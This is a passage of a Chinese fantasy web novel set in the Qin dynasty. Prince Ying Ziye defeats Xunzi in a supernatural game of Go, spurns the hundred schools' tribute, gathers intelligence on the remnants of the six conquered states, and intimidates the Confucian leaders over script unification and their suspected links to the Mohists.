分明是对方将剑气融入每一寸空气,连呼吸都带着锋锐!!
赢子夜抬手接住落下的梧桐叶,叶片完好无损。
他转身望向小圣贤庄最高处的阁楼——
那里,荀子的身影刚巧转身,往竹林而去。
赢子夜冷笑道:“听闻荀夫子乃当世大贤,本公子这次既来小圣贤庄,自当拜访。”
伏念额头沁出细汗,圣王剑在鞘中微微震颤:
“师叔常年闭关,不问世事……”
“巧了。”
赢子夜从袖中取出一方玉匣,匣盖开启的瞬间,整座论道台突然安静!
匣中黑白棋子,竟是由星辰砂与玄冰玉雕琢而成。
棋盘更是整块天外陨铁打磨,纹路天然形成河洛图谱。
棋子相碰时发出的清越声响,让在场所有人心神为之一清。
“这是本公子偶然所得的‘星罗棋’。”
他指尖轻抚棋盘,一道微光顺着纹路流淌,
“据说对弈时可见星河倒悬,不知荀夫子可有兴趣?”
第99章 以棋代政、以道载兵:此乃天地棋局
伏念的剑穗突然无风自动。
他深深看了眼那方棋具,终是长叹一声:
“请六公子稍候。”
转身时,圣王剑竟发出哀鸣般的颤音。
百家众人屏息等待。
晓梦的秋骊剑鞘上凝结出细密霜花。
少司命裙摆的银杏叶全部指向竹林方向。
星魂舔着嘴角的血迹,眼中幽蓝光芒明灭不定——
方才张良那一剑,让他至今魂力紊乱。
约莫半柱香后。
伏念归来。
这位儒家大当家面色复杂,圣王剑的剑穗竟断了一截。
“师叔……请六公子入竹林一叙。”
赢子夜起身,玄色衣袍扫过地面时,那些被剑气碾碎的落叶无风自起,重新聚合成完整的叶片。
他单手托着棋匣,另一手负于身后。
步履从容,像是赴一场寻常茶会。
“公子!”
少司命突然上前一步,紫眸中闪过一丝担忧。
赢子夜摆手:“荀夫子喜静,你们在此等候。”
话音未落,人已踏入竹林小径。
诡异的是,他每一步落下,青石板上都会浮现一道剑痕,但转瞬即逝,仿佛只是错觉。
竹林深处雾气渐浓。
赢子夜行走其间,手中棋匣突然微微发烫。
他眸光一凝,发现四周竹叶的飘落轨迹竟暗合九宫八卦——
整片竹林都是个巨大的阵法!!!
“有意思。”
他轻笑一声,足尖轻点。
一道无形剑气透地而入,沿着地脉直刺阵法核心。
竹林突然剧烈摇晃,无数竹叶如利箭般射来!
赢子夜头也不回,只是衣袖轻拂。
那些竹叶在距离他三尺之处突然静止,继而调转方向,钉入地面组成一个“礼”字。
雾气深处传来一声轻“咦”。
赢子夜面前的青竹自动分开,露出条铺满落叶的小径。
小径尽头,隐约可见一位白袍老者背对而坐,青竹杖斜倚石案。
正是…荀夫子!
……
荀子盘坐在青石案前,雪白须发垂落胸前,浑浊的双眼似闭非闭。
青竹杖斜倚案边,杖头悬挂的青铜铃纹丝不动。
“晚辈赢子夜,见过荀夫子。”
赢子夜执晚辈礼,玄色衣袍却无风自动。
他双手奉上星罗棋匣,匣中棋子碰撞发出的清越声响,竟让四周竹叶为之一颤。
荀子竹杖轻点,棋匣凌空飞至案上:“六公子有心了。”
声音沙哑如枯叶摩挲,却让三丈内的雾气骤然散尽。
赢子夜拂袖落座,指尖轻抚棋盘纹路:“久闻夫子‘坐忘’之境已臻化境,今日特来讨教。”
“老朽残年朽木,怎当得起六公子这般盛情。”
荀子缓缓睁眼,眸中浑浊尽褪,精光如电。
他枯瘦的手指捏起一枚白子,棋子落盘的刹那,整片竹林的叶片同时转向!
黑子入手,赢子夜只觉棋子突然重若千钧。
他唇角微扬,指尖星芒一闪。
棋子落下时,棋盘上竟浮现出星河倒影,将荀子的白子困在星璇之中。
“好棋。”
荀子白眉微颤,第二子落下。
这次棋子竟无声无息融入棋盘,化作一头白鹿虚影,在星河间轻盈跳跃,每一步都避开星璇引力。
竹林之外,众人猛然看到天象异变!
本应日高天朗的午后,星辰骤现!
北斗七星的位置,竟与棋盘落子方位一一对应!
“这是……天地为盘?”
伏念的圣王剑突然自行出鞘三寸,剑身“礼”字篆文金光大作。
林中对弈渐入佳境。
荀子第七子落下时,棋盘上已浮现出**江山图卷。
白子所化白鹿踏过之地,皆有儒家经文自虚空浮现,将赢子夜的星璇之力逐步化解。
赢子夜不慌不忙,黑子再落。
棋子入盘竟发出金戈铁马之声!
黑子化作玄甲骑兵,铁蹄所过之处,白鹿惊跃,经文崩碎!
就在这时。
荀子竹杖突然离地三寸。
他第八子落下,白鹿仰天长鸣,化作万千飞鸟,振翅散入星河。
每一只飞鸟皆衔一枚白子,竟在棋盘各处同时落下!
“妙手。”
赢子夜眼中精光暴涨。
他并指如剑,一枚黑子凌空飞起,在落下瞬间分化九影,如陨星坠地!
棋盘上的星河骤然扩张,将飞鸟尽数吞噬!
“砰!”
荀子袖中飞出一卷竹简,正是《劝学》原典!
竹简展开,覆盖半边棋盘,那些被吞噬的白鸟竟自经文中重生!
棋至中盘,异象更甚!
棋盘左侧儒家经文化作青松翠柏,右侧星河凝结成铁血战戈。
每当一子落下,竹林就随之震动。
外围观战的百家众人早已汗湿重衣。
他们虽看不见具体棋路,却能感受到那股令人窒息的威压。
“六公子这一子……”
荀子突然顿住,枯瘦的手指悬在棋盘上。
他察觉到赢子夜的黑子看似锋芒毕露,实则暗藏经纬。
那些星璇的排布,竟暗合帝王心术中的“制衡”之道!!
赢子夜把玩着一枚黑子,棋子在他指间翻转时,隐约有龙吟之声:“夫子为何迟疑?”
荀子白眉下的目光愈发深邃。
他忽然发现,自己每一子虽落得尽善尽美。
却始终落在对方预设的节奏之中——
就如当年秦王远交近攻,连横合纵,步步为营!
“好一个‘以退为进’。”
荀子突然变阵,白子不再避让星璇,反而主动坠入漩涡!
落子瞬间,整片竹林万叶脱枝,开出无数白花,芳香扑鼻!
赢子夜眸光微凝。
这白花香气竟能扰乱气机!
他指尖黑子燃起幽蓝火焰,落子时火焰蔓延棋盘,将白花尽数焚毁!
火焰中,隐约可见百万铁骑纵横驰骋!
二人你来我往,棋盘异象愈发恢弘。
儒家金光与星河铁血交相辉映,宛如春秋礼乐对垒秦风铁血!
荀子第一百零三子落下,棋盘浮现小圣贤庄虚影。
白子化作三千儒生,齐声诵读《论语》,声浪之势竟震裂黑子凝聚的战戈!
赢子夜不为所动,一子定天元。
黑子落下瞬间,所有裂痕尽数修复,战戈更添血锋。
他这一子看似寻常,却引得荀子竹杖上的青铜铃骤然自鸣!
“原来如此……”
荀子心中暗惊。
他方才以为的“制衡”不过是幌子,赢子夜真正的棋路,是在无声中重构秩序!
每一颗黑子都在塑造规则,让白子也不得不依其道行棋!
竹林外。
晓梦忽然按住秋骊剑。
她的道心,竟因这局棋而生出一丝悸动!
剑鞘微颤,仿佛隐有剑灵苏醒,她却不敢轻动。
只因那竹林深处的气机太过庞大,既非兵戈相搏
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,却胜过万军鏖战。
少司命亦面色微变。
她裙摆垂落的银杏叶无风自舞,齐齐翻转指向林内。
每一片叶脉皆流转着幽幽紫芒。
仿佛受某种大道牵引,凝视着那一盘棋局。
“天地竟为其变象……”
晓梦轻声呢喃,声音低不可闻。
她明明未踏入棋局一步,却仿佛身临其境,能感知星河的流转、儒光的铺陈。
每一枚棋子的落下,都如重钟大吕,震荡在神魂最深处。
连她长年苦修的“忘情心境”都生出缝隙。
“那并非凡俗博弈……”
少司命轻抬玉指,虚点林中棋局方位。
只见一道道微不可察的道纹,从她指尖浮现,与虚空中某种律动遥遥呼应。
那竟是棋盘上散溢而出的法则波动!
她从未见过这样的棋。
每一次落子都在改写规则,每一次应对皆勾动天道之势。
棋风之中,包罗百家之理,却又隐隐归于一统。
“以棋代政、以道载兵。”
晓梦眼中浮现罕见的凝重,“是天命之争。”
“还是…帝王之途?”
周围的百家门人,也已压抑不住心中震撼。
只见竹林之上,原本显化的北斗星辰此刻已浮现出更多星象。
紫微星、天市垣、文昌、武曲,竟隐隐与棋盘之局形成呼应!!
星光在林中斑驳投下,如万象归一,照彻千古棋心。
更有数名修为稍浅的弟子,忽然鼻息一热。
竟被这局中溢出的威压逼得吐血昏厥。
却无一人退避。
他们都知道,今日所见之局,或将成为百家历史上的分水岭!!
晓梦抬头,望着林内那若隐若现的棋盘光影。
赢子夜…此子所图,绝非棋胜那么简单。
而她,从未想过,仅凭一局棋,便能将这位曾被百家共同轻视的“第六公子”,推入那最危险的高度。
竹林内。
棋至收官阶段。
荀子忽然长叹一声:“六公子可知,当年孔圣人与老子对弈,连败三局后说了什么?”
赢子夜指尖捻子未落,语声微顿:“愿闻其详。”
“圣人不凝滞于物。”
荀子竹杖轻点棋盘,所有白子骤然震颤,瞬息间连线成阵,棋势如龙盘空!
虚空之上,白龙长吟而起,万叶俱飞,森然化字——“和”!
那一刻,浩然之气直冲云霄,竹林竟如遭春雷,叶脉震颤。
赢子夜负手而立,衣袍猎猎,玄袍下黑子泛着幽光。
“夫子果然善弈。”他轻声道,却并未落子。
荀子静观其势,眉头缓缓皱起。
那枚黑子,在他指尖旋转不止,却始终悬而未下,仿佛整局天地也随之一滞。
白龙盘空未散,风声欲止还起,连那竹杖上的青铜铃也发出低沉颤鸣。
就在此刻——
赢子夜手腕微动。
黑子坠势欲落,却在半空忽而定格!
那一刻,整个竹林仿佛屏息,天地为之一凝!!
荀子眼神剧震,似已预感到某种惊世之变将自此一子而起,却终究看不透其数。
远处天际,一道剑光横斩而出,将虚日星芒瞬间斩灭!
风止,云息,林影不动。
唯有那颗黑子,在虚空中旋转不休,未曾落定。
直到这段棋局最后的声音,被深林尽头的那一声轻响淹没——
“这一步……你敢落吗?”
第100章 这不是棋…是道!是天下之势!
竹林间,清风骤止。
荀子枯瘦的手指悬在棋盘上方,白子泛着温润的光。
他浑浊的双眼此刻精光内敛,凝视着棋局中那片看似平静的星域——
那里,藏着赢子夜布下的致命陷阱。
“六公子。”
荀子忽然开口,声音如古井无波:
“这一步…你敢落吗?”
白子轻轻点在棋盘天元之位,看似闲庭信步的一手,却让整片竹林无风自动。
青竹叶片簌簌作响,每一片都浮现出金色篆文,隐约组成“克己复礼”四字。
赢子夜唇角微扬。
他指尖的黑子忽然泛起幽蓝星火,在落下前的刹那——
“啪!”
一声脆响,他竟主动震碎了自己西南角的七枚黑子!
碎片尚未落地,便被星火熔炼重组,化作一柄漆黑小剑刺入棋盘。
“破而后立。”
赢子夜轻声道。
刹那间,整张棋盘剧烈震颤!!!
原本胶着的局势被这自毁式的一手彻底打破。
那些破碎的黑子残骸竟在棋盘各处重生,每一枚都带着凌厉剑气,将白子辛苦构筑的防线撕得支离破碎!
竹林外,伏念的圣王剑陡然出鞘,锵然钉入地面。
这位儒家大庄主面色惨白,踉跄后退三步:
“这…这是……”
他看得分明,棋盘上浮现的已不是简单棋路,而是赢子夜以棋为剑,将帝王心术演绎得淋漓尽致!
那七枚自毁的黑子,恰似当年商鞅徙木立信的决绝!
而重生后的凌厉攻势,正是始皇帝横扫六合的霸道!!!
颜路的坐忘心法首次出现裂痕。
他腰间的含光剑佩“咔嚓”一声裂开一道缝隙,温润如玉的面容浮现出骇然:
“以退为进…不,这一步,是要破尽天下规矩,重立新法!”
最震惊的当属张良。
他手中把玩的铜币突然熔化成赤红铁水,滴落在地,冒起青烟。
这位素来从容的儒家三庄主,此刻眼中竟闪过一丝恐惧——
那一瞬间,他仿佛看见未来某日,风卷沙起,却终被无情碾压于车驾之下。
是错觉,还是冥冥中的命运注脚?
他不知,只知此局之中,赢子夜已让他嗅到血与铁的气息。
竹林内,异象更甚。
赢子夜每落一子,棋盘就扩张一分。
至第一百八十手时,整张棋盘已悬浮半空,黑子所化玄甲铁骑踏碎山河,白子凝聚的圣贤虚影节节败退!
更可怕的是,那些被铁骑践踏之地,竟有新的秩序在重建!
不是儒家的礼乐教化。
而是法家的“刑过不避大臣,赏善不遗匹夫”!
荀子竹杖上的青铜铃疯狂作响,杖身浮现出细密裂纹。
他第一百八十一手白子落下时,指尖竟微微颤抖——
这是百年来首次!
白子化作白鹤方才飞起,就被黑子玄鸟一爪撕裂,鹤羽纷飞如雪。
“夫子。”
赢子夜声音轻得如风,却令整片竹**竹同时弯折:
“该你了。”
他指尖那枚黑子泛着血光,那是杀意凝练至极的征兆。
竹林外围观的众人如坠冰窟。
兵家代表的重甲结满白霜;
法家代表的竹简冻成冰雕;
就连素来狂傲的星魂,幽蓝瞳光都黯淡几分!!
所有人都感受到那股令人窒息的威压,仿佛有一柄利剑悬于头顶,随时可能斩落!
伏念突然单膝跪地,圣王剑发出长哀。
他终于明白,为何师叔会同意与六公子对弈——
这不是棋艺之争,而是大道争锋!!!
赢子夜每一子都在阐述一个残酷真理:
在绝对的力量面前,任何礼法教化,皆为虚妄!
“咔嚓!”
颜路的含光剑佩彻底碎裂。
这位以“无争”著称的儒家二当家嘴角溢出血丝,坐忘心境被硬生生破开!
他恍惚间看见棋盘之上,浮现出未来景象:
儒门科举推行、百家争鸣,却终将臣服于一柄高悬九霄的定秦之剑!
张良按住胸口,那里传来撕裂般的剧痛。
他们的苦心经营,在这局棋下如同笑话。
那些精妙的布局、缜密的谋划,就像蛛网想束缚苍龙,轻轻一挣便碎裂成尘!
“第一百八十二手。”
赢子夜的黑子缓缓落下。
棋盘上,瞬息万籁俱寂!
那一声入盘之响,竟似晨钟暮鼓,震得荀子面前那卷《劝学》竹简哗啦裂开!
字句一个个浮空而起,却在接触黑子散发的血芒时,如雪入沸汤般,尽数消融!
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>荀子执子之手停在半空,久久未动。
他那双历经风霜的老眼中,倒映的已不是黑白棋局,而是一个滚滚而来的新世代洪流——
势不可挡,摧枯拉朽!
竹林外。
晓梦忽然按住秋骊剑,剑鸣隐隐震动。
这位天宗掌门再次露出凝重之色:
“这不是棋……是道!”
少司命裙摆上的银杏叶纷纷翻转,尽数指向赢子夜所在的方向。
每一片叶脉皆流转着臣服般的紫光。
她终于明白,首领为何会如此忌惮这位六公子——
因为他下的,根本不是棋。
而是…天下之势!!!
棋盘上,风声骤止。
荀子的手指轻轻抬起。
但他落下的那一子,却迟迟未曾真正触盘。
因为他已明白,再落下去,这一局……便真的再无回头之路了。
……
竹叶簌簌落下。
赢子夜踏出竹林时,玄色衣袍纤尘不染。
他指尖把玩着一枚黑子,棋子表面流转的血色锋芒映得眉宇间愈发凌厉。
伏念“噔噔噔”连退三步。
圣王剑当啷坠地。
这位儒家大当家面色惨白如纸,嘴唇颤抖着却说不出一个字。
他分明看到,六公子身后竹林中,那些被剑气斩断的青竹断面,正缓缓渗出树汁,如同泪痕。
颜路闷哼一声。
他苦心修持的坐忘心境,此刻如同那满地玉屑般支离破碎。
温润如玉的二当家第一次失态地抓住胸口衣襟,仿佛这样才能缓解那股窒息般的压迫感。
张良手中铜板熔成的铁水早已凝固,在掌心烙下焦痕却浑然不觉。
他死死盯着赢子夜掌心的棋子,恍惚间看到七国舆图在血色中重组成崭新山河。
而那格局,已与儒家理想中的礼乐天下截然不同。
“咯吱——”
荀子的青竹杖终于不堪重负,在石案边裂成两段。
老人枯瘦的手指仍悬在棋盘上方,保持着落子的姿势。
浑浊的双眼倒映着棋局上那个被剑气硬生生改写的“法”字,白须无风自动。
赢子夜信步走过儒家三位当家身旁。
玄色衣摆扫过伏念坠地的圣王剑。
剑身“礼”字篆文突然黯淡无光,如同被抽走了魂魄。
第101章 除非儒生死存亡,否则绝不可为敌
夜色深沉。
小圣贤庄的书斋内烛火摇曳。
伏念将圣王剑横置案上,指尖轻抚剑身上那道细微的裂痕,眉头紧锁如沟壑。
“六公子今日所为…”
颜路轻抚含光剑的剑穗,温润的声音罕见地带着犹疑:
“究竟是要交好百家,还是…”
“震慑。”
张良突然打断,凌虚剑佩在掌心转得飞快:
“他根本不屑于交好。那局棋,分明是在告诉我们,顺者昌,逆者亡。”
窗外一阵风过,烛火剧烈摇晃。
伏念的剑穗突然无风自动:
“可科举制确实给了百家出路,若真能凭才学入仕……”
“师兄当真以为,他会在乎几个儒生的才学?”
张良冷笑,玉坠转势骤急:
“他要的是百家臣服!”
“就像那棋盘上的白子,再精妙的布局,最终都要按他的规矩来走!”
“吱呀——”
门扉无风自开。
荀子拄着新换的青竹杖缓步而入,杖头铜铃竟不再作响。
这位平日仙风道骨的老者,此刻面色灰败,眼中血丝未褪。
“师叔!”
三人慌忙起身行礼。
伏念的圣王剑突然发出哀鸣,仿佛感应到什么可怕的事物。
荀子竹杖轻点,书斋门窗同时紧闭。
他浑浊的目光扫过三人:“说说看,你们觉得六公子是何等人物?”
伏念深吸一口气:
“深不可测。弟子从未见过有人能这样破开圣王剑意…”
“天真。”
荀子冷声打断:“你以为他破的只是剑意?”
竹杖突然重重点地,震得案上茶盏跳起:
“他破的是儒家立世的根本!”
颜路含光剑微微出鞘,剑身如水般透明:
“师叔是说…他今日棋路中蕴含的……”
“法家精髓。”
荀子冷笑:
“‘不别亲疏,不殊贵贱,一断于法’。你们还没看出来吗?”
“他根本不在乎百家学说优劣,他要的是——”
竹杖在地上划出深深的“壹”字。
张良瞳孔骤缩,凌虚剑佩“啪”地停在掌心:
“书同文,车同轨……”
“不止。”
荀子突然剧烈咳嗽,袖口染上点点猩红。
他颤抖着从怀中取出半枚黑子,正是赢子夜今日所用。
棋子表面布满蛛网般的裂痕,却仍散发着令人心悸的威压!
“知道老夫为何留不住这枚棋子吗?”
荀子将黑子按在案上,木案顿时裂开蛛网纹路:
“因为它在自行崩解…就像六公子当时在棋盘上,故意让我看到的那些破绽一样!”
三人骇然!
伏念的圣王剑突然自行归鞘,发出“锵”的哀鸣。
颜路的含光剑泛起涟漪般的波光。
张良的玉坠则直接碎成齑粉。
“记住。”
荀子转身离去时,背影佝偻得像个真正的老人:
“除非儒家存亡之际,否则绝不可与之为敌。”
竹杖点地的声音渐行渐远:“否则…”
最后半句话随着夜风飘散,却让书斋内的烛火齐齐熄灭。
黑暗中,三人听见师叔的青竹杖终于不堪重负,“咔嚓”断成两截。
张良摸黑拾起案上那枚残破的黑子,指尖刚触及就触电般缩回。
棋子内部竟有剑气流转!
这不是警告,而是……
宣诏。
……
临海别院的正厅内,烛火将赢子夜的影子拉得很长。
案几上堆满各式珍宝:
法家代表的《五蠹》玉简、兵家代表献上的陨铁战戈、公孙玲珑精心准备的“白马非马”金绣图卷、杂家许慎编纂的《万物典》……
每一件都堪称稀世奇珍。
“六公子,我等告退。”
法家代表深深一揖,额头沁出细汗。
他身后众人纷纷行礼,退出时脚步轻得如同踩在薄冰上。
兵家代表甚至不敢抬头直视,那柄曾随他征战沙场的战戈,此刻在赢子夜面前黯然失色。
待最后一人退出厅门,赢子夜随手拿起《五蠹》玉简,指尖一搓,玉粉簌簌落下:
“这些东西,你们分了吧。”
少司命紫眸微闪,裙摆的银杏叶无风自动:
“这些都是……”
“无用之物。”
赢子夜打断她,玄色衣袖扫过案几。
那些珍宝顿时蒙上一层灰霭,仿佛瞬间失去了光彩。
“你们以为,这些人中有几个是真心投效?”
晓
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梦倚在廊柱旁,秋骊剑鞘上的霜纹流转:
“法家倒是真心。那卷《五蠹》是韩非临终前所刻,连李斯都未曾得见全本。”
“因为法家本就与帝国同源。”
赢子夜轻笑:
“可兵家呢?对方献戈时手指发抖,分明是舍不得祖传兵器。”
他指尖轻点陨铁战戈,戈身立刻爬满蛛网般的裂纹。
“这般委曲求全的忠诚,要来何用?”
星魂从阴影中走出,幽蓝瞳孔盯着那幅“白马非马”金绣:
“名家倒是聪明,送这等华而不实的玩意。”
“最可笑是杂家。”
赢子夜随手翻开《万物典》,书页竟自行燃烧起来。
“许慎这老狐狸,关键章节都是缺失的。”
火焰映照下,他眸中寒意更甚:
“他们怕的不是大秦,是那局棋。”
少司命沉默地拾起一块玉简碎片。
碎片边缘锋利如刃,割破了她纤白的手指,一滴血珠落在银杏叶上,瞬间被叶片吸收。
她忽然明白了什么,紫眸中泛起涟漪。
这些礼物看似珍贵,实则都暗藏保留。
法家未献《孤愤》,兵家未呈虎符,名家不提“刑名之术”……
所有人都在试探,都在观望。
“公子是要……”
她轻声问道。
“让他们继续怕。”
赢子夜转身望向窗外海面,月光将他的侧脸镀上一层银边:
“怕到连保留的心思都不敢有。”
一阵海风卷入厅内。
案几上的灰烬打着旋升起。
在空中组成七国旧地的轮廓,又被赢子夜随手拂散。
星魂盯着那些飘散的余烬,突然舔了舔嘴唇。
他第一次对这个男人产生了超越战意的情绪。
晓梦的秋骊剑突然轻颤。
她按住剑柄,望向赢子夜背影的眼神复杂难明。
这个看似慵懒的帝国公子,对人心的掌控竟比阴阳家的摄魂术还要可怕。
少司命将染血的银杏叶收入袖中,叶片上的血痕恰好形成一个“秦”字篆文。
她忽然想起临行前东皇太一的警告,现在终于明白其中深意。
赢子夜要的从来不是百家的珍宝,而是他们灵魂深处那份战栗的臣服!!!
第102章 儒家要复六国旧制,逆天子大统么
夜色如墨,林间雾气弥漫。
赢子夜孤身踏入密林深处,玄色衣袍与黑暗融为一体。
唯有腰间佩剑偶尔折射出的冷光,如蛰伏的龙鳞。
“沙——”
一片枯叶无风自动。
赢子夜指尖轻弹,落叶在半空中碎成齑粉,露出藏在叶下的标记。
他足尖轻点标记,地面突然无声下陷,露出条幽深甬道。
甬道尽头,十二名黑冰台死士单膝跪地,铁面覆脸,连呼吸都微不可闻。
为首者铠甲上凝结着海盐,显然刚从海上归来。
赢子夜亮出玄铁令牌,睚眦纹路在月光下泛着血光。
十二人同时以额触地,铁甲碰撞声整齐如一人。
“讲。”
简单一个字,让林中温度骤降。
为首死士双手呈上密报,嗓音嘶哑如砂布摩擦:
“禀公子,盗跖三日前伪装狱卒潜入噬牙狱,已绘出水牢机关图。”
密报在赢子夜掌心燃起幽蓝火焰。
“继续。”
“楚项氏一族三十七人藏身朱家赌坊,韩遗民混入漕帮,魏国死士假扮渔夫……”
死士每报一个名字,语气就沉凝几分。
“还有燕国旧故的心腹,昨日假道儒家入城。”
赢子夜突然抬手,手指定格在密报中项氏少主项少羽的面容上。
少年眉宇间的桀骜,与当年战死在巨鹿的项燕如出一辙。
“六国余孽……”
他指尖轻划,项少羽的画像碎裂成星火。
“还有哪些没到?”
“齐王室后裔仍在海上,赵氏遗孤被农家庇护。”
死士顿了顿。
“但最棘手的,还是近日频繁在噬牙狱周围出现的墨家余孽。”
夜枭啼叫声突然划破夜空。
赢子夜转身望向海岸线,那里,海风剧烈的吹拂。
他手中的火焰骤然暴涨,将密报和图像焚为灰烬。
“查。”
灰烬飘散间,他的声音比海风更冷。
“把他们的藏身之处、联络暗号、**,全部挖出来。”
“诺!”
十二死士齐声应命。
却听赢子夜又道:
“没有本公子令谕……”
他剑鞘轻点地面,一道无形剑气贴着死士们的铁面划过。
“连一只蚂蚁都不准踩死。”
剑气所过之处,十二人的铁面具同时裂开细缝,却未伤及皮肉。
这等精准到恐怖的控制力,让这些冷血**都脊背发寒!!
为首死士以头抢地:“属下谨记!”
赢子夜拂袖转身。
玄色衣摆扫过地面时,那些飘落的灰烬突然飘散。
“退下。”
轻描淡写的两个字,让十二名死士如蒙大赦,瞬间隐入黑暗。
林中重归寂静,唯有赢子夜指尖残留的星火,照亮他唇边那抹冰冷的弧度。
海风突然变得急促,卷起他的衣袍猎猎作响。
远处蜃楼的灯火明灭不定,像极了那些余孽们垂死挣扎的希望。
赢子夜按剑而立,整个人仿佛一柄半出鞘的利剑,随时可能斩出惊天一击。
“项氏……”
他轻声念着这些名字,每个音节都裹挟着血腥气。
当年六国雄师尚不能挡大秦铁骑。
如今这些丧家之犬,又能翻起什么浪?
一片落叶飘至肩头,还未触及衣料就碎成齑粉。
赢子夜的身影渐渐模糊,最终与夜色融为一体。
唯有他站立之处的草木,全都朝着海岸方向倒伏,如同臣民叩拜君王的背影。
……
翌日清晨,小圣贤庄的晨钟刚刚敲响。
赢子夜踏着薄雾而来,玄色衣袍上的暗纹在晨光中若隐若现。
儒家三位当家早已恭候多时。
伏念的圣王剑穗无风自动。
颜路的含光剑泛起涟漪。
张良的凌虚剑佩则转得飞快。
“六公子莅临,蓬荜生辉。”
伏念躬身行礼,声音沉稳如古井。
赢子夜微微颔首,缓步走入儒家圣地。
回廊深处,晨雾尚未散尽。
廊柱上雕刻着《论语》篇章,字迹斑驳却不失端方肃穆。
他指尖轻触“克己复礼”四字,指甲一顿,石屑簌簌落下,发出极轻的声响,在寂静中格外刺耳。
“昨日匆匆而过,未曾见到,今日再来看,儒家传承,果然源远流长。”
他淡淡道,语气中分不出褒贬。
伏念三人静立一旁,无一人插言。
少顷,赢子夜抬步继续前行,步履平稳如常,却带起回音阵阵。
仿佛踏在每一道儒家规训之上。
途中,庭前**森然。
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>亭中石刻嵌有《大学》《中庸》字句。
颜路低声介绍诸位先贤讲学之所,张良亦旁引曲喻,试图以学脉与义理缓和氛围。
然赢子夜神色未改,似未入耳。
只偶尔伸手摩挲某一碑文,仿佛在丈量其经得起多少风雨侵蚀。
行至藏书楼前,晨光终于穿透云雾,从雕花窗棂洒入楼中,将成排书架的影子拉得极长,如同千年传承的压迫。
赢子夜步入楼内,随手抽出一卷新抄《诗经》。
眉头轻蹙——
那竹简上的文字,赫然是楚国鸟篆!!
“这是何意?”
他声音很轻,却让楼内温度骤降。
颜路连忙解释:
“回公子,此为楚国旧藏,为保原貌,我等未敢擅改,只以原文入编,附以秦篆注释于后。”
他垂首答道,语气恭谨,却难掩几分紧张。
“书同文,车同轨。”
赢子夜突然打断,指尖在竹简上一抹,那些字就直接被抹掉了!
“陛下当年为何下敕令?不就是因为六国文字各异,政令难通?”
他转身直视三人,眸中寒芒如剑。
“儒家这是要复六国之旧制,逆天子大统么?”
伏念的圣王剑突然发出哀鸣!
他深深一揖:
“公子明鉴,吾等受教了。”
“即日起,所有典籍重抄为秦篆。”
赢子夜这才满意地点头。
玄色衣袖扫过书架,那些六国文字的竹简竟同时泛起火光,转瞬化为灰烬。
灰烬飘落间,他忽然话锋一转:
“不过……”
指尖轻叩案几,每一声都如重锤敲在三人心头。
“本公子最近听闻,墨家余孽隐匿桑海。”
他忽然抓起一把灰烬,任其从指缝流下。
“还多次与儒家……暗通款曲?”
张良的玉坠突然停转。
他神情僵直,仿佛一瞬间被抽去了全身力气,只能死死盯着案上的铜板,额角青筋悄然绷起。
颜路指节泛白,双手缓缓收紧,却仍控制着呼吸,不让那一丝情绪越过唇齿。
他垂下眼帘,唇角微颤,整个人仿佛陷入无声的挣扎。
伏念的额头沁出细汗,脊背却笔直如弦。
他强自稳住气息,但眼中一瞬掠过的惊惧,终究没能藏住。
第103章 阴阳家的暗棋,该动一动了!
整座书楼内的空气仿佛瞬间凝固!
伏念的圣王剑突然发出一声哀鸣,剑鞘上的“礼”字篆文黯淡无光。
他宽大的儒袍后背已然被冷汗浸透,却仍强撑着拱手:
“公子明鉴,小圣贤庄乃天下儒学正宗,岂会与叛逆同流?”
“哦?”
赢子夜指尖轻抚书架,所过之处,那些刻着楚国文字的竹简无声化为齑粉。
他声音平淡,仿佛只是随意闲聊:
“我听说,多日前有人趁夜入庄,似乎还带着墨家的信物……”
话音未落,他忽然转身,玄色衣摆拂过张良衣角:
“是来找哪位当家论道的?”
张良的凌虚剑佩“啪”地炸裂,碎玉溅在脸上,划出几道血痕。
这位素来从容的三当家,此刻面色煞白,喉结滚动几下竟发不出声。
颜路的含光剑骤然震颤三寸,透明如水的剑身映出他剧烈收缩的瞳孔:
“公子容禀!桑海乃文教之地,每日往来学子数百,难免……难免有所疏漏。”
伏念的脸色比颜路更难看,额角冷汗已湿透鬓发,圣王剑上的“礼”字篆文竟微微黯淡。
他拱手深揖,声音僵硬:
“此事……儒家并不知情!若真有此人混入,小圣贤庄定当从严清查,绝不姑息。”
“呵。”
赢子夜突然放声大笑,笑声震得梁上灰尘簌簌落下。
他一手拍着伏念的肩膀,笑得畅快无比,动作却亲昵得令人毛骨悚然:
“大庄主何必如此紧张?本公子不过是随口一说。”
这句话如寒风透骨,令三位当家神情同时一僵。
赢子夜缓步前行,背对三人,轻声道:
“只是有时候,一个玩笑…未免让人想得太多。”
这笑声却比任何威胁都可怕。
颜路的含光剑彻底结冰,张良的碎玉坠子竟在掌心熔化成赤红液体。
三人这才惊觉,书楼四周不知何时已站满黑甲武士,每个人都戴着一副铁面具。
“大秦以法立国。”
赢子夜踱步到窗前,背对三人:
“没有确凿证据,本公子岂会妄加指责?”
他指尖轻弹,那枚墨家令牌突然飞回袖中。
“不过……”
这个转折让空气再次凝固。
赢子夜转身时,晨光恰好照在他半边脸上,将轮廓镀上一层金边,另半边却隐在阴影中:
“本公子希望诸位牢记——”
他每说一个字,案几上的竹简就自行翻开一册:
“什么事该做……”
竹简突然全部合上,发出整齐的“啪”声:
“什么事,不该做。”
最后一字落下,整座藏书楼剧烈震颤!
那些被焚毁的竹简灰烬突然悬浮空中,将三人笼罩其中。
伏念的圣王剑“咣当”坠地。
颜路踉跄扶住书架。
张良则被无形威压按得单膝跪地。
赢子夜拂袖离去。
玄色衣袍扫过门槛时,那些灰烬如雪般落在三位当家肩头。
门外黑甲武士同时转身,铁靴踏地声震得回廊瓦片簌簌作响。
直到赢子夜的背影消失在晨雾中,伏念才颤抖着拾起圣王剑。
剑身“礼”字篆文竟出现裂痕,仿佛被什么可怕的力量硬生生劈开。
颜路的含光剑依旧结满冰霜,无论怎么运功都无法化解。
最惨的是张良,他掌心的玉液早已凝固,十分狰狞。
“他都知道……”
张良声音嘶哑得不像自己:
“他全都知道。”
“噤声!”
荀子的厉喝突然从后楼传来。
老人拄着断杖现身,浑浊的双眼布满血丝:
“从今日起,所有与墨家的联系……断!”
一阵海风卷入书楼,将满地灰烬吹向儒家三位当家。
那些灰烬沾衣不落,如同最恶毒的诅咒。
荀子的断杖突然燃起幽蓝火焰,将杖头铜铃烧成灰烬。
他们,早已被监视多时!
伏念终于崩溃般跪倒在地,圣王剑上的裂痕不断扩大。
他终于明白赢子夜今日来的真正目的。
不是质问,不是警告,而是……宣判。
那个悬而未决的“证据”,才是套在儒家脖子上最致命的绞索!!
